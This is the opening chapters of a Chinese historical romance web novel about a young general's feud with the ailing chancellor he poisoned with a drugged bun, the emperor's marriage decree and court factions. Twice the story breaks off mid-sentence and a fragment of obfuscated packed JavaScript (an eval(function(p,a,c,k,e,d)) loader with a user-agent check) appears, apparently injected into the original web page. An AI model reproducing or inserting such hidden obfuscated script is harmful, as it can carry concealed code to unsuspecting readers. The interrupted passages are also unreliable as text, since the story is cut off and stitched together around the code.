《臣,奉旨成婚》 1. 狐狸精 天元二十年,大梁边境趋安,年迈的赵武帝宣布举国同庆,共迎虎胆铁骑们班师回京,论功行赏。 秋风送桂,万里长军。 庆功宴还未开摆,飞龙将小将军俞书礼归京不过也才五日,就已经将京城闹得人仰马翻。 原因无他,只因他归来的时候,几十个青楼楚馆的女郎夹道相迎,免费请他进去坐坐。 俞书礼也是真不客气,有便宜他是真占,每一家进去一坐就是一天一夜。 五日过去,愣是连家都还没来得及归。 将军府丢尽了脸面,遣了管家来请。结果年过半百的管家老头也被扯进了屋。 老将军一张脸都气绿了,正要亲自去这青楼抓儿子,被将军夫人甩了个大嘴巴子。“老东西,你倒是想得美!” “夫人,你听我解释!我万万没有非分之想啊!” 最后将军夫人亲自出马,终于将儿子揪回了家,顺便带回了两个漂亮的小厮…… 老将军:? 俞书礼挨了老爹两棍子怨气重重、发挥失常的家法,隔天又高高兴兴出门了。 皇宫之内。 “仙卿,你说,这俞季安归京之后,一直流连在烟花之地是何意?”龙椅上的赵武帝眼眸微陷,一张沧桑的脸沟壑横叠,如同险峻的山脉,沉稳又威严。 底下的青年一身高官冗服,看起来有些文弱,却身姿挺拔,相貌非凡。 他微微抬了抬眸,拱手道:“臣斗胆,猜测俞小将军应该是旁敲侧击知道了圣意,所以以此拒婚抵抗。” 说话间,他外衣襟上的流苏轻轻晃了晃,让老皇帝岿然不动的心略微动摇了下。 “朕的外甥女就这么入不了他的眼?!”赵武帝咳嗽了两声。 底下的青年仓皇跪下:“请陛下保重龙体。” “得了!朕还死不了!”老皇帝摆了摆手,“你这随地乱跪的毛病得改!你父亲瞧见了,梦里又要埋怨朕了。” “臣无碍。”青年这才慢慢起身,俊美的脸上露出一个浅淡的笑容:“父亲哪里敢埋怨陛下?当年之事,是臣自己的主意,能救下太子,臣心满意足。” “你的心思,朕明白。朕不会亏待你魏家的。”赵武帝拧了拧眉头:“好了,你先下去吧,俞季安的事情,朕再仔细斟酌下。你今日的药是不是还未用?去见见你姑母后就回去用药吧。还有,别在朕面前这么板正,朕都说了,你随意就是。” “臣明白,臣告退。” “仙卿。”赵武帝突然叫住他。 “臣在。”魏延转头,半边脸藏在阳光中,皇帝看着他美艳若仙的脸,一时有些恍惚。 “你姑母在宫中一直很记挂你们,忧心你们是否安好。” “臣晓得了,臣魏延一定会努力让姑母和陛下安心。” 日光渐渐消失,夕阳坠落西侧。 “祖宗呦!您今日可别再彻夜狂欢不回家了!”老实的老管家红着一张脸,在一群美娇娘间不敢抬头。 “老张……民以食为天,你不能不让我吃饭……” “您吃就吃了!来这等风流之地吃做什么?家里那么多厨子!”挤在女人堆之间,管家张宽汗都流了一筐了。 前几日小少爷在青楼的威名大震,连带着他一大把年纪了,也莫名其妙在这上京火了一把。 说是他老当益壮,一夜三次。 呸!去他的老当益壮! 他一晚上给小少爷端了三次尿盆,为了守住小少爷的清白,防那些青楼女子和防贼一样,简直是一夫当关万夫莫开,连觉都没睡好。 唯有小少爷一个人……能够睡的恍若未觉。 见俞书礼还自顾自吃着,老管家又急地轻咳一声:“少爷!” “刚刚老板娘说……嗝……吃满一百两就给我便宜二十两。”俞书礼晃晃悠悠地嘟囔:“如果体重也能这样就好了……满一百斤减二十斤……嗝……我这一顿吃下去,西北练的肌肉……嗝……都白练了……嗝……我不会胖成爹那样吧?” “像老将军也没什么不好的,能吃是福嘛。要真满一百斤减二十斤,那还了得?!”老管家汗流浃背:“少爷喝多了!快跟我回家吧!家里什么都有……” 俞书礼放下吃剩的鸡腿骨,打了个饱嗝,漂亮的杏眼眨了眨,委屈道:“老张,你听说过全辣宴吗?我在西北的时候,董思文请我吃过,酥香炸羊腿配红椒,可香了。” 老管家:“没吃过……” “那你吃过辣烤小猪吗?” “没有……” “你怎么什么都没有吃过啊……”俞书礼抱怨:“你在家二十年都没吃过,家里的厨子肯定不会做。” 老管家流着冷汗:“会做的……会做的,老奴回去就让他学……” “但刚刚妹妹说,这儿有呢!”俞书礼带着酒意的脸露出一丝憨笑:“我立马就能吃到了!” 老管家心头一紧,他看的这样紧!俞书礼又是哪里冒出来一个妹妹! 他几乎硬着头皮问:“是……哪个妹妹?” “这都不知道?”俞书礼鄙夷地看了他一眼,然后指给他看:“喏,就那个。” 老管家顺着他的视线看过去,看到的是年过五旬、风韵犹存的老鸨。 ! “呸!她都这把年纪了!还打着小少爷你的主意?!”老管家又气又着急地看向俞书礼:“少爷!世途险恶!当心被女人骗啊!” 俞书礼打了个嗝,然后认真竖起手指发誓:“不会的,不会的,我只会被男人骗。” “少爷啊!!!”老管家看向俞书礼的目光愈加不对劲了,一把老骨头努力去把自家小少爷架起来,就要往外面带。 俞书礼一把抱住桌子,脚勾在桌沿,愣是不愿意走。 老管家哪里想得到战场上叱咤风云的小将军私下里喝了酒是这样一个无赖又黏糊的性子? 他一个头两个大,又哄道:“您随老奴回去,老奴立刻马上给您安排全辣宴!和西北吃到的一样!” “张叔,你说真的吗?”俞书礼放下新啃了一口的鸡腿,小心翼翼问询:“有那种超级变态辣吗?” “有的……有的……无敌究极变态辣都有。”老实的管家绷着脸陪着笑,终于被逼迫着说起了胡话。 …… 等到俞书礼终于踉踉跄跄站起身,那侧面屋子里头有个姑娘突然尖叫了一声:“呀!有老鼠啊!!” “有老鼠?!”本来步伐混沌的少年眼睛一亮,立马调转脚步,就要往侧屋中而去。 “少爷啊!这和您又有何干啊?!!”老管家头疼欲裂。 少年停住了脚步,老管家眼中由绝望变为欣喜。 “我拿个馒头。”他转过头,从桌上薅了两个馒头,嘻嘻一笑,递了一个过去,看向老管家:“别馋了,你都盯着爷看了那么久了,爷大方,送你一个。” 老管家:他没馋! 被婉拒了的俞书礼也不失落,跌跌撞撞依旧要闯进那个屋里去抓老鼠。 老管家和老鸨都清楚他身份,不敢拦,最后任由他闯进了那个房间。 房里并没有在办事,只是姑娘到底有些衣衫不整,床上的男人睡的和死猪一样,就算听到了尖叫,也没有吵醒。 见人来了,姑娘扯了条丝巾盖好肩膀,这才委委屈屈道:“那老鼠方才就在这!一下子不见了。” 俞书礼看也没看那姑娘一眼,反而从怀中掏出一个小瓶子,掰开馒头,哆嗦着手往里面倒了些药粉,傻笑着看向那花楼姑娘:“别怕……爷帮你……药老鼠……” 这头俞书礼热火朝天带着人药老鼠,那头春风楼楼门口也突然热闹了起来。 “让开……让开,稽刑司查案……” 春风楼的门被一扇一扇强制打开,直到到了俞书礼所在这个房间。 老鸨也不敢得罪皇帝面前的大红人魏延,只能硬着头皮得罪俞书礼,把门打开。 魏延皱着眉头,踏进屋来,一眼就望见那个俊俏的身影。 指挥手下拿下了那个睡得像死猪一样的男人,确认无误之后,魏延这才慢慢看向俞书礼。 “俞小将军,您为何在此?”男人眼眸深邃,冰冷的脸上看不出一丝笑意。 老管家跺了跺脚,迎了上去:“老奴叩见丞相大人……” 他着急慌乱地解释:“小将军只是误入此房,和此人没有关系的!” “本官知道。” 魏延认识这老管家,对他倒也没有刻意刁难,只是轻飘飘瞥了眼那个晃荡游离、压根不过来打招呼的醉汉,语调阴沉:“俞小将军瞧着意气风发的,没成想也狎妓。” “不不不……”正逢稽刑司查案,狎妓这个名头扣下来,那还了得。 老管家是心中有数的明眼人,他早就听闻陛下有意给小将军配亲,这个时候曝出来狎妓,那小将军哪里还有什么前途? 他连忙否决加解释:“没有狎妓,没有狎妓!” 魏延挑了挑眉,似乎示意他继续说。 老管家看了眼自家还把头埋在角落里药老鼠的不争气的小将军,咬了咬牙:“小将军是来吃饭的。” 跟着魏延的稽刑司的两个司理官是魏延母亲那边的亲戚,吴家的吴鹏和刘家的刘云辉,他们家境一般,却借着魏延母亲吴蓉寰的关系,后来跟在魏延身边,如今也算混了一差半职。 两人知道魏延和俞书礼一向不合,故而对俞书礼本就不尊重,更枉提一个管家了。他们此时嗤笑了一声:“老头子,你当骗三岁小孩呢?” “真是来吃饭的!”老管家又跺了跺脚,“小将军幼年就去了边关,哪里通这些儿女风情?” “去哪里吃不好?要到青楼来吃?” “小将军吃惯了重口味,京里的菜式吃不惯。酒楼里又不为他一人服务,思来想去觉得还是青楼的服务态度好。”管家流着汗解释道。 虽然他也觉得离谱,但是事实真的确实是这样的。 老管家张宽的这些话,别说吴鹏和刘云辉不信,就连魏延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不不不……”吴鹏露出嫌弃的表情,“我就不了,不过劝你对下属良善些嘛……一直冷冰冰的……”他还嘟囔着,魏延已经不再看他。 根本没把他这个弟弟放在眼里。 吴鹏咬了咬牙,眸中颜色深了些,然而被刘云辉戳了两下肩膀,又看了眼表情木木的仓胥,他也只能识相地闭嘴。 算了,人家自己的下属都不在意,他管什么?讨嫌吗? 魏延走了两步,想到了什么,又转头对俞书礼道:“天色晚了,小将军该回家了。” 俞书礼“嘿嘿”一笑,无赖地扒了过来:“哥哥,你送我回家吧。” 知道两人恩怨,又目睹这一切的老管家只觉得脚趾抠地:老天爷,能不能让我先死一死!!! 叫老鸨妹妹已经够让人震撼,没想到更让人震撼的在后面。 他竟然还敢叫魏延哥哥!!! 而魏延的几个跟班们更是目瞪口呆。 啥玩意儿?俞书礼你搞这出?!! 魏延尝试甩开俞书礼的手,但是俞书礼到底是练武之人,手劲实在太大了,压根甩不开。 众人手忙脚乱要上前来掰,被魏延喝退:“本相也是你们可以拉拉扯扯的?!”都拿官职压人了,足以见得他有多生气了。 老管家张宽也着急道:“诶呦,可别把我家小将军扯坏了,回头老将军打到你们府上去!” 丞相拉扯不得,老将军也脾气大不好惹。 最后没人敢动了。 于是,冷着一张脸,看起来十分文弱的丞相大人,肩上扒了个醉鬼,晃悠悠地往将军府走去。 后面遛了一排恍若游魂的跟班。 “呸!狐狸精!”魏延的跟班吐槽俞书礼。 “呸!狐狸精!”老管家在心里吐槽魏延。 这两人从前每次碰到,不是在针锋相对,就是在针锋相对的路上。今日难得微微破冰,竟然是因为俞书礼喝醉了。 离谱,简直离大谱。 老管家百思不得其解,还是问出声:“你们丞相没有尊严的吗?”小将军撒个娇,他就上赶着送人回家了。 甚至连背上都让人爬了上去。 谁不知道丞相大人是个病秧子啊?往日连陛下都不敢碰他一下,到了俞书礼这里倒好了,直接爬人身上去了…… 吴鹏和刘云辉“嗤”了一声,当做了回答。 后半夜魏延终于脱身后,被老将军夫妇又是道歉又是感谢地争相送出门。 魏延淡淡地行礼告辞,回到府中之后转头便朝仓胥伸出手。 近卫仓胥一脸茫然。 “我馒头呢?”魏延难得对下属露出不耐烦的表情。 仓胥睁大了眼睛,把那个掉着碎屑的馒头递了过去。 仓胥觉得自己知道了一个了不得的秘密。 第二日,京中爆出一个惊天大案。 丞相大人被投毒了。 2. 我在闹 俞书礼被人从睡梦中薅了起来,三捆六绑被押往了稽刑司。 他朦胧地睁着眼,歪躺在不太舒适的单人牢房里,听着半夜里各位狱友们的磨牙声、打呼声,有些烦闷地等着那位来审他。 结果等了两个时辰,那人都没有出现。 不会是真死了吧? 俞书礼撇撇嘴。 那倒是便宜他了。 实在无聊,俞书礼转头就和隔壁的狱友聊起了八卦。 隔壁那位年纪不大,但听说犯的事不小。 “喂,听说你闹了些大动静?把衙役都快逼疯了。” “彼此彼此。” 俞书礼在犯事这件事情上颇有心得,于是以一个过来人的口吻宽慰他:“没事,没事,只要你家老爹地位还不错,你肯定是死不了的。” 那人瞥他一眼:“我没爹了。” 把话聊死了。 俞书礼抱歉地笑笑:“啊……节哀。”他想了想又问:“你犯的是什么事情?说不定我能帮帮你?” 那人瞥他一眼:“你本事这么大,就先把自己救出去再说吧。” 俞书礼讪笑了一下:“我这可是毒杀朝廷命官的大罪。” 那人跟着一笑:“我这可是刺杀皇子的大罪。” 呦,都是大罪,本事都不小。 俞书礼来了兴致,凑过去低声问他:“你都刺杀谁了,怎么外头没听见风声?” 年轻公子瞥他一眼,也不忌讳告诉他:“太子。” 俞书礼眼中猛然露出兴奋的表情:“哈!那狗东西!”他说完,突然捂嘴,心想万一这人是太子派来试探他的,岂不是直接中招了! 俞书礼一阵懊恼。他这破脑子,论斤卖感觉都不够用…… “你是太子党?”那人问,“看你一副伤心难过的样子。” “我伤心?怎么可能!”狗屁的太子党!他才不是! 俞书礼心头疯狂想着补救的事情,突然想到了什么,他眼睛一亮。 “我绝对不是太子的人!”俞书礼干脆对天发誓,又神神秘秘对那小公子道:“你不知道吗?魏延暗恋我,所以才处处针对我来着。” “魏……丞相?……你?”小公子视线游离,似乎在思考他话的真实度。“你是俞书礼?” 俞书礼疯狂点头,试图把黑锅扔给魏延。“你不知道吧,这个事情我只告诉你哦,咱们算是交心了,你叫什么?” “陈黎。”那公子皱了皱眉:“可你……不是因为毒害魏丞相才进来的吗?” 俞书礼意味深长地笑了笑:“你懂什么!这是他的情趣!欲擒故纵的把戏。” 那公子的眉头皱的更深了。 俞书礼见他不信:“你等着吧,很快他就来放人了。到时候小爷心情好,说不定捞你一把。” 那公子干脆侧了身过去,不理他了。 俞书礼:他有这么不可信吗? 天将将亮的时候,俞书礼将醒未醒间,听到外面窸窸窣窣的声音,紧接着就是一阵熟悉又凌乱的脚步声。 “我的儿啊!” 来人膀大腰圆,面色凶悍,眼角却不合时宜地挂着两道清水眼泪,来势汹汹地冲了进来,犹如一个紫色的茄子,管也不管地冲向了俞书礼……的隔壁。 “儿啊!他们没有欺负你吧?”男人抓住栏杆,朝里头的少年伸手,又向后怒声吩咐:“还不把我儿子放出来!” 那少年的眉头皱的更紧了:“大爷,你认错人了。” 对上男人身后那些侍卫诡异的目光,俞书礼无奈地叹了口气,出声道:“爹,我在这里。” 隔壁猛男痛哭的声音戛然而止。 俞书礼看到他爹呆滞地“嘶”了一声,把无语又混乱的少年一把塞了回去,然后擤着鼻涕又向他扑过来。 连亲儿子也能认错。身后跟进来的侍卫都露出一副有些不屑的表情。 看到狱锁打开,俞书礼下意识后退一步,果不其然他爹像个炮仗一样扑了过来:“儿啊,你受苦了!他们稽刑司是不是对你严刑逼供了?!你等着,爹过会儿上朝就去参他们一本!” 跟进来的侍卫头头俞书礼认识,是魏延身边的一个叫仓胥的。 仓胥在这里,必然是受魏延指派。 俞书礼有些遗憾地垂下眸子,心道,魏延果然还没死。 他倾身拍了拍老爹,安慰道:“爹,稽刑司是正经地方,不会屈打成招的。”他看向仓胥:“仓监捕,我说的不错吧?” 仓胥拧了拧眉头:“小将军现在酒醒了吧?” “自然。” “那就烦请小将军随我走一趟。” “去哪里?!啊?你要把我儿子带去哪里?!”俞老将军一下子从儿宝男化身真正的将士。 “噌”的一声,利剑出鞘,剑拔弩张。 仓胥愣了愣,从这肥头大耳、看起来疲弱不堪的老将军身上,看到了几分幼年时候他曾见过的影子。 那时的俞华信,英姿勃发、威武霸气。仅凭亲队西北军三万人,就横扫敌军数十万,并杀穿敌将几十人,将那些虎视眈眈的敌军劈头盖脸地赶出了剑门关。 他长枪挑着敌方首级,从边关小城宁川路过,百姓欢天喜地,夹道欢迎,鲜花扔了遍地。 曾经那样万人敬仰的神将,哪里是现在这样大腹便便,走路都会摇晃的糊涂样子? 仓胥恰好来自小城宁川,当年的他也是抬眸崇拜之人。 可如今…… 只能说……世风日下啊。 “老将军,请不要让我等为难。”仓胥拱了拱手,解释道:“昨晚丞相中毒,小将军也在接触范围内,我们只是例行检查。” 俞华信捏着剑柄的手都在抖,却寸步不让,口口声声喊着,要面见陛下。 “爹。” 俞书礼开口道:“我跟他们去。” 他拍了拍父亲布满茧子的手,笑道:“就是问个话而已,您别大惊小怪。” “臭小子!还怪爹大惊小怪?”俞华信委屈道:“爹听你张叔来报,说你在青楼被抓走了,爹当时连和你娘温存都顾不上,提了裤子就来了……门口拦了你爹两个时辰,爹可是一整晚都没睡啊……” 俞书礼:…… 倒也不用说这么详细的。 “真没事。”俞书礼推着老爹出门:“您老还不家去管管那几个新来的小厮?听说他们把娘哄的一愣一愣的。” “还说呢?臭小子!都是你干的好事!”趁着众人没看过来,俞华信又眨了眨眼,低声道:“真不要爹帮忙?爹可是有免死金牌,无论发生什么,爹都能保你一命!” “真不用,爹……”魏延又没死,能治他什么罪? 他好心药老鼠,喝多了误给了他一个药老鼠的馒头而已。 那馒头碎渣掉了满地,任谁都不敢吃一个醉鬼的东西吧?谁让魏延真吃了? 俞书礼失笑:“我又没干什么作奸犯科的事情,清者自清。”他看向仓胥,似笑非笑:“你说对吗,仓监捕?” “自然。”仓胥一板一正道:“若是证实小将军无罪,当即便会遣送您回家。” 俞书礼替老爹把那柄剑收好,拍了拍老爹的肩膀:“好好回去休息睡觉。还有,老爹,你这剑都生锈了,就别拿出来吓唬人了。一个磕碰还容易害人。” “你这臭小子!拆你老爹的台!”俞老爹被请走的时候还在转身骂着。 “请吧。”俞书礼见父亲走远了,这才收敛了笑意,看向仓胥。 仓胥点点头,做了个手势:“请。” 俞书礼又转头看向那个阴影里的少年,似乎知道对方在看他一般,挺了挺腰,得意道:“你看,我就说,我会出去的。” 那少年轻嗤了一下,敷衍道:“一路走好。” “诶,你这孩子,怎么一点也不可爱!” * “来了?”本来病弱的男人坐在案边,微微垂着头写着什么。 还不算凉的天气里却披了一件长毛大氅。一张本就苍白的脸轻轻勾出一个笑容,美的惊心动魄。 俞书礼踏进书房的时候,就见到这样的场面。 他心头一跳,“哼”了一声,大喇喇地走过去,随意地在魏延侧面唯一那一把椅子上坐下:“丞相大人找我什么事?” 本想装逼凑过去看看魏延画了什么,结果“阿嚏”一声打了个响亮的喷嚏。 一道清冽的鼻涕水并着几滴口水就这样明晃晃出现在魏延的墨宝之上。 魏延抬头瞥了他一眼,把墨笔搁下。 俞书礼脚掌迅速地抠地,本来想骂一句魏延“老不死的病秧子”的话也堵在了喉中。 魏延的视线火辣辣。 俞书礼尴尬得脸红成了猴子屁股,他讪笑一声,嗫嚅道:“要不我给你擦擦?”重画一副赔给他是不可能了,他没这个画画水平。 魏延到底是贵族公子,举手投足反馈的足够平淡,他不仅没有处理俞书礼那几滴落在书画上的罪证,还将书画卷起来放到一边,这才看向俞书礼:“这就是小将军的见面礼?” 见你个大头鬼。 俞书礼不愿意承认在牢狱里一晚上就感冒了的事实,梗着脖子指着角落里伺候的几个侍人,辩驳道:“是你这里味道太臭了!” 魏延眼睫动了动,挥挥手把侍人都赶了出去,然后他起身,把窗户也阖上了。 仓胥站在门口,虎视眈眈盯着俞书礼,生怕他做些伤害丞相的举动。 “小将军知错了吗?”魏延此时的声音还有些哑,“对朝廷命官下毒,你的胆子真是从来不小。” 俞书礼抬头,对上魏延骤然冰凉的视线。 变脸变得还挺快。 “知错?我何错之有?”俞书礼冷笑一声:“丞相自己中毒了,总不会推脱到我身上吧?要知道,整个青楼都能为我作证,这两日,我可是连青楼的门都没出过。” 书房大门开敞,仓胥在门背站定,闻言皱了皱眉。“小将军,你给丞相的那个馒头,可是差点要了他的命!你好歹毒的心!” 俞书礼轻嗤一声。 歹毒?要不是他良心发现,念着他们从前的情谊,少放了些毒粉,魏延早就是个死人了。 “出去。”魏延淡淡开口。 仓胥震惊地抬眸:“大人!” “关门,出去,我不想重复第三遍。” “大人!这可是害你的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈年旧事?”俞书礼把木屑扔开,咬着牙回忆:“当时秋猎场出了意外,暴雨如注,泥水将林中驿站冲垮了,你约了她在那里私会,本该好好护着她,却转头冒雨进了深山把太子救了出来。而我姐姐却因此被人折辱,之后便高烧成了痴儿……你当时明明可以……先救她的……再不济,派兵带她回去,很难吗?” 魏延被俞书礼按住脖颈,眼尾通红,本来白皙的脸色染上一点红晕,就足够触目惊心。 俞书礼的手指一颤,再也掐不下去,手掌换到魏延腰间,似乎想要借势要把他劲瘦的腰掐断。 魏延借势靠在他手掌上,稳住了摇摇欲坠的身形:“俞书礼,你分明知道,当时折辱你姐姐的,并非是我。而且就算没有那一日,你姐姐同我,也不可能结亲。” “你……你说什么?你又骗人!” “我对你解释过无数次了,我真的没有对不起你姐姐。我本就并没有求娶她,自然对她就没有感情与义务。”魏延狼狈地喘着气,抬眸看向俞书礼,语气认真:“至于救太子……” 他苦笑了一声,似乎也陷在了回忆中,欲言又止,隔了许久才说:“再给我选一次,我还是会放弃救你姐姐,这点我无可辩驳,救太子,也是我必须要救。我没有选择。” 俞书礼见他的脸色越来越差,终于松开了手指,一把推开了他:“你倒是忠心的很!为了太子,你自己都成了半个残废了,现在满意了?” 魏延的视线从俞书礼脸上收回,又重重地咳嗽几声,然后慢吞吞说了一句:“满意。” 见俞书礼面色不虞,他苍白的手指按在了椅子外延,又重复了一遍:“一人之下,万人之上。自然满意了。” “走狗!畜生!”俞书礼辱骂道:“你以前分明不是这样的!” “畜生又如何?小将军倒是心直口快,正气凌然,可是俞家如今呢?”魏延一笑:“这世道,奸臣当道,小将军少了些手段,便将俞家倒台的事算到我身上,实在不公平。” “公平?魏延,你他爹的和我谈公平?”俞书礼一脚踹翻椅子:“害我二叔家被抄家的是不是你?让俞家被陛下忌惮的是不是你?!若不是我爹有旧功,我们一家是不是也被你害的人头落地了?!魏延,你怎么这么恶毒!亏我从前把你当知己。” 不知道是被俞书礼的动作吓到,还是被他的话所中伤,魏延眉头突然拧紧,用力咳了几声。 俞书礼的叫骂暂停,室内除了魏延的咳嗽声,寂静无声。 “随你怎么想吧。”魏延咳完,长舒了一口气,虚弱地闭上眼睛,“你下毒的事情,我不会追究,稽刑司也不会再查。可是俞书礼,适可而止,再闹下去,我也保不住你。” 俞书礼一愣,气急败坏:“谁要你保了?!”他转身就想要走。 魏延不知道从哪里生出来的力气,一把扯住他的手腕: “那件事情,别再查了。” 俞书礼甩开他,转身就走,勾了勾唇:“你做梦。我早晚会找到证据,拉你下台。” “那我就不能轻易放你走了。” 俞书礼皱着眉头回身,却见魏延说完,本来站定的身子突然一歪,倒在地上吐了口血。 俞书礼睁大了眼睛:“魏延,你他爹的竟然碰瓷?!” 3. 小祖宗 俞小将军把本就中了毒尚且虚弱的丞相推倒了,丞相口吐鲜血,生死未卜。 稽刑司连夜扣押俞书礼,择日将在殿前由皇帝亲审。 消息传到将军府的时候,将军夫人郑施意晕了一回,老将军连夜把那块用来垫床脚的免死金牌都翻了出来。 “夫人……别慌,我现在就去求见陛下……”俞华信抖着手臂,抽出那柄生锈的长剑,“我一定将咱们孩子好好带回来。” 将军夫人捂着脸泣不成声:“当年老二家苗苗的事情,早就说不能告诉季安,你口无遮掩非要说!还非要添油加醋地说!” “季安同那魏延好友多年,就为这一桩事情闹掰了。如今季安放不下他姐姐的事情,处处同魏延作对。人家如今做到丞相了,我们季安哪里是他的对手?再这样折腾下去,连命也要没了!” “诶呀,夫人!”俞华信道:“当年的事情分明是魏延的不是,我说两句有什么打紧?他瞧上了苗苗,求亲便是,作甚要偷偷摸摸约人出去?还要在秋猎的时候!偏偏那日天公不作美,下起了暴雨。虽然说证实了那日最后他去救了太子,不是行乱的歹人,但如今对苗苗的伤害已经造成了。他虽是无心,但也有过失。当时季安不在,事后问起,我自然会抱怨几句。” “你知道真相吗?你就胡乱抱怨!你不知道季安同苗苗关系有多好?如今苗苗这个样子,季安怎么可能不想着找出当年那个歹人,为苗苗报仇?” 将军夫人道:“魏延也是真真狠心,老二一家当年多风光,被他一纸诉状控告后,如今只能苟延残喘,要不是你偶尔去接济,连吃饱穿暖都难……” 俞华信闭了闭眼:“虽说老二当年……但终归也是我兄长,接济也是应当的……” “好啦,这种时候还说什么废话。你赶紧去面见圣上,好歹要在案子宣判之前让他改变主意。否则这案子要是判了下来,按照陛下的性子,一百个金牌,都未必作数。” * 金銮殿中,袅娜的沉香绕线,殿中传来一声威严厚重的声音。 “跪下!” 俞书礼掀开衣袍,“砰”地一声就跪了下来。 声音听起来倒是实打实的,一点也不含糊。 饶是稽刑司来告状的几个公子哥都皱起了眉头,唯有俞书礼面不改色。 气氛一度沉寂。 皇帝低垂着眼眸,看了几眼俞书礼,不知道在想些什么。 一旁伺候的李公公倒是轻"啧"了一声,大惊小怪,跑过去喊道:“诶呦,小祖宗,倒是磕的实在,摔伤了要让陛下多心疼啊!” 敢在这样大气不敢喘的环境说话,李公公自然也不是普通人,不仅没惹皇帝生气,反而给彼此双方一个台阶下,让皇帝有了开口的话题。 赵武帝“哼”了一声:“朕瞧着他倒是没想让朕心疼。” “俞书礼!进了稽刑司,还敢动手伤人,你胆子倒是不小。”头顶上方身着龙袍的男子手掌按在龙椅上,以一种睥睨天下的姿态站起身,一脚朝俞书礼踹了过去:“朕让你娶江宁郡主,就这么让你不满意吗?你明知道仙卿只是替朕传话的人,打探你心思罢了,竟还敢对他痛下杀手?” “他是你在街上招惹阿猫阿狗一样能招惹的人吗?他是当朝丞相!官拜正一品!大你三级!纵使你平复叛乱有功,也绝不应如此恃宠而骄!妄动朝廷命官,你眼里究竟还有没有朕这个皇帝?!” 俞书礼努力压抑眼底的阴翳,被踹了一脚,身体也丝毫未动,只是脸色微微白了一瞬,转瞬就恢复了正常,然后闷闷回复:“自然有陛下……臣不敢……” “你不敢?你若是敢,那魏延现在就不是在病床上,而是在棺材里!”皇帝怒斥道。 “陛下!息怒息怒!如今太医们正在给丞相大人诊治,咱家已经为丞相大人抄经祈福,相信大人可以度过难关的……”李公公走到皇帝一旁,给他顺着气。 赵武帝鼻孔不停出气:“到底是朕愧对魏家,老魏若是泉下有知,指不定怎么骂朕呢,连他唯一的儿子都看顾不好。” 李公公劝道:“老丞相心疼陛下,怎么会怪罪陛下呢。” “陛下……俞老将军在门外求见……”小太监战战兢兢上来汇报。 “不见!让他给朕滚!”皇帝的视线转移到地上的俞书礼身上。 俞书礼垂着眸子,不动声色。 不知道想了什么,皇帝屏退了众人,叹了口气,看向俞书礼。 “俞书礼,你究竟想要什么?”他慢慢踱步下来,缓了声线,扶起俞书礼:“你是大梁的肱骨大臣,明知道朕离不得你,而魏仙卿是朕朝中大脑,分明也是离不得的,你为何总要和他作对?” 俞书礼不说话。 除了他姐姐的事情,当然还有一个原因。 这事连他爹都不知道,俞书礼其实早就暗中拜了党派。 他是二皇子党,而魏延,显而易见,是太子党。 两边不和,很正常。 而江宁郡主的祖父,也就是户部尚书仇万山……是太子党。 但是俞书礼什么都不能说。 他再次叩头:“陛下,请陛下收回成命,臣不可娶江宁郡主。” 皇帝一皱眉:“为何?这和你看不惯魏延又有什么关系?” “因为……因为……”俞书礼咬着唇,试图编造些理由出来,突然灵光一闪,道:“因为江宁她喜欢魏延!” 江宁郡主心仪曾经璀璨若繁星的状元郎,本就众人皆知。 皇帝松了口气,再次缓和了语气:“江宁什么脾气,你还不知道?不过是小孩子家家的时候说的胡话,你这也当真?” 俞书礼摇头:“不,江宁没有胡闹……她曾同我说过,她是认真的。” 赵武帝上下扫视了俞书礼一眼,眼神有些复杂:“季安,你是不是……有心上人了?” 俞书礼一愣。 当下是认也不是,不认也不是。 说自己有心上人吧,会被追问是谁,眼下他自身难保,不可能再随便说一个,白拖别人下水。 说没有心上人吧,皇帝肯定还要拿他的婚事作文章。 突然,俞书礼想到青楼里翻到过的那些艳丽画本,其中正有些京中贵族甚喜的男男情事。 京中不倡男风,所以这些贵子都是表面流连在青楼楚馆,装作寻的女妓,生怕被人知晓了那些另类癖好,为人所不齿。 但俞书礼现在只能反其道而行之。 他硬着头皮,小心翼翼抬眸回答皇帝:“回陛下,不是臣有意要欺瞒您……实在是……”他“砰”地一声再次跪下。 皇帝眉头一跳:“好好说着话,怎的又跪下?!” “望陛下恕罪。”俞书礼磕了一个头。 “行了,行了,你有什么难言之隐,但说无妨,朕恕你无罪。”赵武帝眸色深了些,示意李公公把俞书礼再次扶起来。 李公公又是“心肝”又是“祖宗”地把俞书礼扶起来。 俞书礼理了理衣袍,谢过皇帝,这才解释面色微红地解释道:“臣不愿娶江宁郡主,实在是因为……臣……喜好男色……” 皇帝本来深沉的脸色猛然一颤,颊边肌肉抖了抖,似乎不可置信地睁大了一双眼:“你说什么?!” 俞书礼耳根都在发麻,干脆两眼一闭:“臣好男色,不喜女人,对着女子起不来。” 李公公“诶呦,诶呦”了两声,捂住了眼睛。 赵武帝瞥了他一眼:“这般做作干嘛?听都听见了,你捂眼睛作甚?” 李公公这才悻悻地把手放下来,去瞧俞书礼的脸色。 “所以,拒绝江宁,只是不想害了江宁?” 嫁给他,江宁嫁过去就是独守空闺。 “可不是,这样太 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俞华信是曾经的飞龙将首,一柄长枪使的出神入化,是整个大梁的战神,曾经一度官拜一品大元帅,数次被举荐,要让其位列三公。皇帝甚至拟好了封异姓王的诏书,动过让他封爵的念头。 但后来俞华信在战场上吃了个败仗,被西昭国夺取了三座县城和千万旦粮食,从此一蹶不振,连兵符也交还给了皇帝,自请削官去爵,算是赎罪。 皇帝念在他曾经的功绩,不仅没有怪罪,还赐了他免死金牌,准许他继续留在京城,还保留着爵位给他。 但俞家,算是一蹶不振了。 直到俞书礼继承父亲衣钵,不仅将西昭打退,夺回了县城,还深追百里,取了那敌将首级,让西昭不敢再来犯。 俞家,才再次进入大众视野。 这不过是这两三年的事情。 皇帝曾经畏惧过俞华信功高盖主,自然也就会畏惧现在的飞龙小将俞书礼。 